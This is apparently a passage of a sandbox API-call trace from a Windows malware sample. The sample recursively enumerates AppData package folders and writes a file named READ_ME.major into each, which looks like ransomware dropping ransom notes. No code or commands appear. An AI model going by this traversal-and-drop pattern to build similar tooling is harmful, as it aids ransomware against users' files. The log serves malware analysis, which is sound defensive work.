[0205.044] SetLastError (dwErrCode=0x0) [0205.044] GetLastError () returned 0x0 [0205.044] SetLastError (dwErrCode=0x0) [0205.044] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0205.044] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bec60 [0205.045] FindNextFileW (in: hFindFile=0x2ee4bc8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x316dfb59, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x316dfb59, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x316dfb59, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0205.045] SetLastError (dwErrCode=0x0) [0205.045] GetLastError () returned 0x0 [0205.045] SetLastError (dwErrCode=0x0) [0205.045] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60dae8 [0205.045] SetLastError (dwErrCode=0x0) [0205.045] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2f60760 [0205.045] FindNextFileW (in: hFindFile=0x2ee4bc8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x316dfb59, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x316dfb59, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x316dfb59, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0205.045] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x667d58 [0205.045] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.WindowsStore_8wekyb3d8bbwe\\TempState\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x40bd2b0, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd2080ff3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x316dfb59, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2ee4d88 [0205.045] SetLastError (dwErrCode=0x12) [0205.045] GetLastError () returned 0x12 [0205.045] SetLastError (dwErrCode=0x12) [0205.045] GetLastError () returned 0x12 [0205.045] SetLastError (dwErrCode=0x12) [0205.045] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0205.045] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be4d0 [0205.045] FindNextFileW (in: hFindFile=0x2ee4d88, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x40bd2b0, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd2080ff3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x316dfb59, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0205.046] SetLastError (dwErrCode=0x12) [0205.046] GetLastError () returned 0x12 [0205.046] SetLastError (dwErrCode=0x12) [0205.046] GetLastError () returned 0x12 [0205.046] SetLastError (dwErrCode=0x12) [0205.046] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0205.046] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be8f0 [0205.046] FindNextFileW (in: hFindFile=0x2ee4d88, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x316dfb59, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x316dfb59, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x316dfb59, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0205.046] SetLastError (dwErrCode=0x12) [0205.046] GetLastError () returned 0x12 [0205.046] SetLastError (dwErrCode=0x12) [0205.046] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60dc10 [0205.046] SetLastError (dwErrCode=0x12) [0205.046] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2f606c0 [0205.046] FindNextFileW (in: hFindFile=0x2ee4d88, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x316dfb59, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x316dfb59, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x316dfb59, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0205.046] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x2f87b50 [0205.046] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxApp_8wekyb3d8bbwe\\AC\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x15f8ed9, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x3981f155, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x31705cf7, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x5a2d50 [0205.047] SetLastError (dwErrCode=0x12) [0205.047] GetLastError () returned 0x12 [0205.047] SetLastError (dwErrCode=0x12) [0205.047] GetLastError () returned 0x12 [0205.047] SetLastError (dwErrCode=0x12) [0205.047] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0205.047] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bea50 [0205.047] FindNextFileW (in: hFindFile=0x5a2d50, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x15f8ed9, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x3981f155, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x31705cf7, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0205.047] SetLastError (dwErrCode=0x12) [0205.047] GetLastError () returned 0x12 [0205.047] SetLastError (dwErrCode=0x12) [0205.047] GetLastError () returned 0x12 [0205.047] SetLastError (dwErrCode=0x12) [0205.047] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4128 [0205.047] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be478 [0205.047] FindNextFileW (in: hFindFile=0x5a2d50, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x161f141, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd2082fdf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x161f141, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="INetCache", cAlternateFileName="INETCA~1")) returned 1 [0205.047] SetLastError (dwErrCode=0x12) [0205.047] GetLastError () returned 0x12 [0205.047] SetLastError (dwErrCode=0x12) [0205.047] GetLastError () returned 0x12 [0205.047] SetLastError (dwErrCode=0x12) [0205.048] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2f605a8 [0205.048] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2f605d0 [0205.048] SetLastError (dwErrCode=0x12) [0205.048] GetLastError () returned 0x12 [0205.048] SetLastError (dwErrCode=0x12) [0205.048] GetLastError () returned 0x12 [0205.048] SetLastError (dwErrCode=0x12) [0205.048] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x6649e0 [0205.048] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxApp_8wekyb3d8bbwe\\AC\\INetCache\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.xboxapp_8wekyb3d8bbwe\\ac\\inetcache\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1360 [0205.054] WriteFile (in: hFile=0x1360, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0205.055] CloseHandle (hObject=0x1360) returned 1 [0205.055] FindNextFileW (in: hFindFile=0x5a2d50, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x161f141, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd2083998, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x161f141, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="INetCookies", cAlternateFileName="INETCO~1")) returned 1 [0205.055] SetLastError (dwErrCode=0x0) [0205.055] GetLastError () returned 0x0 [0205.055] SetLastError (dwErrCode=0x0) [0205.055] GetLastError () returned 0x0 [0205.055] SetLastError (dwErrCode=0x0) [0205.055] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2f605a8 [0205.055] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2f606c0 [0205.055] SetLastError (dwErrCode=0x0) [0205.055] GetLastError () returned 0x0 [0205.055] SetLastError (dwErrCode=0x0) [0205.055] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60df88 [0205.056] SetLastError (dwErrCode=0x0) [0205.056] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x6694c0 [0205.056] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxApp_8wekyb3d8bbwe\\AC\\INetCookies\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.xboxapp_8wekyb3d8bbwe\\ac\\inetcookies\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1360 [0205.057] WriteFile (in: hFile=0x1360, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0205.058] CloseHandle (hObject=0x1360) returned 1 [0205.058] FindNextFileW (in: hFindFile=0x5a2d50, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x161f141, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd2084468, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x161f141, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="INetHistory", cAlternateFileName="INETHI~1")) returned 1 [0205.058] SetLastError (dwErrCode=0x0) [0205.058] GetLastError () returned 0x0 [0205.058] SetLastError (dwErrCode=0x0) [0205.058] GetLastError () returned 0x0 [0205.058] SetLastError (dwErrCode=0x0) [0205.058] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2f605a8 [0205.058] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2f605d0 [0205.058] SetLastError (dwErrCode=0x0) [0205.058] GetLastError () returned 0x0 [0205.058] SetLastError (dwErrCode=0x0) [0205.058] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x120) returned 0x60d9c0 [0205.059] SetLastError (dwErrCode=0x0) [0205.059] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd0) returned 0x6683e0 [0205.059] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxApp_8wekyb3d8bbwe\\AC\\INetHistory\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.xboxapp_8wekyb3d8bbwe\\ac\\inethistory\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1360 [0205.059] WriteFile (in: hFile=0x1360, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0205.060] CloseHandle (hObject=0x1360) returned 1 [0205.060] FindNextFileW (in: hFindFile=0x5a2d50, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x31705cf7, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x31705cf7, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x31705cf7, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0205.060] SetLastError (dwErrCode=0x0) [0205.060] GetLastError () returned 0x0 [0205.061] SetLastError (dwErrCode=0x0) [0205.061] GetLastError () returned 0x0 [0205.061] SetLastError (dwErrCode=0x0) [0205.061] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2f607b0 [0205.061] FindNextFileW (in: hFindFile=0x5a2d50, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x161f141, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd2084d49, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x161f141, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Temp", cAlternateFileName="")) returned 1 [0205.061] SetLastError (dwErrCode=0x0) [0205.061] GetLastError () returned 0x0 [0205.061] SetLastError (dwErrCode=0x0) [0205.061] GetLastError () returned 0x0 [0205.061] SetLastError (dwErrCode=0x0) [0205.061] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0205.061] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5becb8 [0205.061] FindNextFileW (in: hFindFile=0x5a2d50, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x161f141, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd2084d49, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x161f141, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="Temp", cAlternateFileName="")) returned 0 [0205.061] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x2f87aa8 [0205.061] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxApp_8wekyb3d8bbwe\\AppData\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15aca2b, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd20858aa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x31705cf7, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x5a2990 [0205.061] SetLastError (dwErrCode=0x12) [0205.061] GetLastError () returned 0x12 [0205.062] SetLastError (dwErrCode=0x12) [0205.062] GetLastError () returned 0x12 [0205.062] SetLastError (dwErrCode=0x12) [0205.062] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0205.062] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be420 [0205.062] FindNextFileW (in: hFindFile=0x5a2990, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15aca2b, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd20858aa, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x31705cf7, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0205.062] SetLastError (dwErrCode=0x12) [0205.062] GetLastError () returned 0x12 [0205.062] SetLastError (dwErrCode=0x12) [0205.062] GetLastError () returned 0x12 [0205.062] SetLastError (dwErrCode=0x12) [0205.062] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0205.062] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5bebb0 [0205.062] FindNextFileW (in: hFindFile=0x5a2990, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31705cf7, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x31705cf7, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x31705cf7, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0205.062] SetLastError (dwErrCode=0x12) [0205.062] GetLastError () returned 0x12 [0205.062] SetLastError (dwErrCode=0x12) [0205.062] GetLastError () returned 0x12 [0205.062] SetLastError (dwErrCode=0x12) [0205.062] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2f605a8 [0205.062] FindNextFileW (in: hFindFile=0x5a2990, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31705cf7, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x31705cf7, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x31705cf7, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0205.063] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x666d88 [0205.063] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxApp_8wekyb3d8bbwe\\LocalCache\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15867c3, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd2086018, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x31705cf7, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x5a28d0 [0205.063] SetLastError (dwErrCode=0x12) [0205.063] GetLastError () returned 0x12 [0205.063] SetLastError (dwErrCode=0x12) [0205.063] GetLastError () returned 0x12 [0205.063] SetLastError (dwErrCode=0x12) [0205.063] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0205.063] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5beb00 [0205.063] FindNextFileW (in: hFindFile=0x5a28d0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15867c3, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd2086018, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x31705cf7, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0205.063] SetLastError (dwErrCode=0x12) [0205.063] GetLastError () returned 0x12 [0205.063] SetLastError (dwErrCode=0x12) [0205.063] GetLastError () returned 0x12 [0205.063] SetLastError (dwErrCode=0x12) [0205.063] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0205.063] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be478 [0205.063] FindNextFileW (in: hFindFile=0x5a28d0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31705cf7, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x31705cf7, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x31705cf7, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0205.064] SetLastError (dwErrCode=0x12) [0205.064] GetLastError () returned 0x12 [0205.064] SetLastError (dwErrCode=0x12) [0205.064] GetLastError () returned 0x12 [0205.064] SetLastError (dwErrCode=0x12) [0205.064] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2f605a8 [0205.064] FindNextFileW (in: hFindFile=0x5a28d0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31705cf7, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x31705cf7, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x31705cf7, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0205.064] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x666aa8 [0205.064] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.XboxApp_8wekyb3d8bbwe\\LocalState\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15867c3, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd2086a4a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x31705cf7, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x5a2d90 [0205.064] SetLastError (dwErrCode=0x12) [0205.064] GetLastError () returned 0x12 [0205.064] SetLastError (dwErrCode=0x12) [0205.064] GetLastError () returned 0x12 [0205.064] SetLastError (dwErrCode=0x12) [0205.064] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0205.064] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be2c0 [0205.064] FindNextFileW (in: hFindFile=0x5a2d90, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15867c3, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd2086a4a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x31705cf7, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0205.064] SetLastError (dwErrCode=0x12) [0205.065] GetLastError () returned 0x12 [0205.065] SetLastError (dwErrCode=0x12) [0205.065] GetLastError () returned 0x12 [0205.065] SetLastError (dwErrCode=0x12) [0205.065] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0205.065] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5be898 [0205.065] FindNextFileW (in: hFindFile=0x5a2d90, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31705cf7, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x31705cf7, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x31705cf7, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0205.065] SetLastError (dwErrCode=0x12) [0205.065] GetLastError () returned 0x12 [0205.065] SetLastError (dwErrCode=0x12) [0205.065] GetLastError () returned 0x12 [0205.065] SetLastError (dwErrCode=0x12) [0205.065] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x2f606e8 [0205.065] FindNextFileW (in: hFindFile=0x5a2d90, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31705cf7, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x31705cf7, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x31705cf7, 